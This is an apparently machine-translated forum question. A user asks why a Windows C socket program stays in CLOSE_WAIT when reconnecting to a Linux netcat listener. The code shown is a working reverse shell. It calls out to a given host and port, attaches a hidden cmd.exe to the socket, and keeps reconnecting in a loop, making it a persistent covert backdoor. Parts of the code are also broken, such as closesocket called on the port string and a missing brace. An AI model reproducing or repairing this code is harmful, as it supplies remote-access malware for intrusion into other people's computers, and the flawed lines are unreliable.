我有一个套接字应用程序将连接到IP:PORT。我把它放在一个Sleep循环中,这样如果连接关闭,它将在X秒后连接回来。这适用于Windows - > Windows设置。在Windows上运行此程序并尝试连接到Linux时遇到问题。它会很好地连接到我的Linux盒子。但是,如果我关闭Linux机箱上的连接,然后再次打开NetCat以收听它的连接,它就无法正常工作。我检查了Linux上的netstat,它显示了端口监听,这很好。然后我检查Windows并且套接字被保持为CLOSE WAIT
状态。
我正在考虑将此套接字置于一个循环中,如果连接不成功,请等待10秒然后再试一次。我花了大约15秒的时间让CLOSE_WAIT
清除,以便程序可以回调Linux。
我在Linux上运行nc -lp 9090
以打开端口。我尝试使用CTRL+C
和exit
来关闭连接。两者都做同样的事情。 Windows上的端口(运行下面脚本的计算机)保持CLOSE_WAIT
状态。
void RunSocket(char *a, char *b, int secs) {
while(1) {
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
struct hostent *host;
host = gethostbyname(a);
strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(b));
hax.sin_addr.s_addr =inet_addr(ip_addr);
while (WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL) != 0) { //returns 0 if successful
MessageBox(0,"Did not connect.","Error",1); // Just error checking
closesocket(b); // Thought this could get rid of CLOSE_WAIT
Sleep(15000); // Give it time to close?
continue;
}
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb=sizeof(ini_processo);
ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
Sleep(secs);
}